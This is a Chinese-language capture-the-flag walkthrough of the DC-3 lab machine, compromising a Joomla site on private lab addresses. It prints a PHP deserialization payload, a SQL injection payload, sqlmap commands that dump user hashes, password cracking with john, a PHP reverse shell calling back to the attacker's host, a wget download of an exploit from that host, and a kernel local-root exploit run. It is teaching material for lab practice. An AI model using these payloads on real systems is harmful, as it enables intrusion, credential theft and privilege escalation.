DC-3

kali:192.168.174.137

信息收集

主机发现

nmap -sn ip/24 发现主机

image-20240410182529933

获得主机ip:192.168.174.150

端口扫描

nmap -sS -sV -T4 -n -p- 192.168.174.150

参数解释:

  1. -sS: 使用 SYN 扫描
  2. -sV: 探测开放端口上的服务版本信息。这个选项会尝试确定目标端口上运行的具体服务版本,从而可能暴露更多的关于目标系统的信息。
  3. -T4: 设置扫描的时间模板为 4。nmap 提供了不同的时间模板,从 0(最慢,最不容易被检测)到 5(最快,但最容易被防火墙或入侵检测系统检测到)。
  4. -n: 不进行 DNS 解析。这可以加快扫描速度
  5. -p-: 扫描所有端口。

image-20240410182952717

可以看到开放了1个端口

80-http apache 2.4.18

目录扫描

image-20240410183030982

访问的同时,在后台进行目录扫描,看一下主页的信息,可以发现这次只有一个flag,且需要进入root权限获取

这一次,只有一面旗帜,一个入口,没有线索。
要获得该标志,显然必须获得根权限。
如何成为root取决于你自己,当然也取决于系统。
祝你好运——我希望你喜欢这个小挑战。:-)

目录扫描到一个http://192.168.174.150/administrator/,访问后发现一样是一个登陆界面,且忘记密码等重定向也是没差。

漏洞利用

image-20240410190923148

但界面上的Joomla!倒是提醒我们可以去看看有没有存在的漏洞,一艘还真有Joomla 漏洞总结我们先用CVE-2015-8562 反序列化漏洞试试,就按着文章里的教程实验

首先我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie

image-20240410192928091

然后将User-Agent设置为以下内容,然后cookie设置为才刚目标网站返回的内容。

123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:
{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:
{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:
{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"fee
d_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connectio
n";i:1;}

这一种好像不行,不懂是不是这个版本修复了,换一种方法试试

CVE-2017-8917 SQL注入漏洞

构造payload

?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

访问主页image-20240410194637343

发现可以使用,上sqlmap试试

python sqlmap.py -u “http://192.168.174.150/?option=com_fields&view=fields&layout=modal&list[fullordering]=*" –dbs

//*表示注入位置
//查询所有数据库
image-20240410195907716

image-20240410195949663

python sqlmap.py -u “http://192.168.174.150/?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D “joomladb” -T “#__users” –columns
查询users表内的列名,选择sqlmap自带的默认的字典即可

image-20240410200501591

python sqlmap.py -u “http://192.168.174.150/?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D “joomladb” -T “#__users” -C “username,password” –dump
//读取指定字段内容

image-20240410200627349

密码为md5加密 可以使用kali内的john 解密

touch admin.txt   #创建文件
vi admin.txt #编辑
john admin.txt #破解

image-20240410201249865

反弹shell

通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本

这个不看下攻略没用过的话还挺难找

image-20240410202148182

image-20240410202233083

//当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.174.137", "5555");

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

image-20240410202545098

之后保存访问http://192.168.174.150/index.php,kali用nc接收反弹

image-20240410202616938

接下来就是提权了,先转化一下终端

python -c 'import pty; pty.spawn("/bin/bash")'

image-20240410202723341

find / -user root -perm 4000 -print >/dev/null

看了下没有适合利用suid提权的命令,找了下home目录,dc3也是空的,但发现个隐藏文件.sudo_admin_successfule.不懂后面有没有用,继续跟着教程看看

另外开一个终端去漏洞库查找有没有相关漏洞

cat /etc/*release		#查看发行版信息

image-20240410210247798

是ubuntu 16.04

cat /proc/version  #查看内核版本的全部信息

image-20240410210324583

内核时Linux 4.4.0,查看kali本地漏洞库里面的exp。

image-20240410210703519

对应得版本要都试试,我这里因为是直接看攻略所以 就直接用39772.txt

查看exp

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image-20240410210845350

可以看到有下载地址,我们下载下面那个zip文件wget就行

image-20240410210954802

然后用python搭建一个简单服务器

python -m http.server 8081

回到反弹回来得shell,wget文件即可

wget http://192.168.174.137:8081/39772.zip

image-20240410211555816

解压exp

unzip 39772.zip

进入39772

cd 39772

解压缩exploit.tar

tar -xvf exploit.tar

image-20240410212043213

进入 ebpf_mapfd_doubleput_exploit 运行exp

./compile.sh
./doubleput

image-20240410212800584

过一会就会变成root用户了,还挺神奇。

image-20240410212849338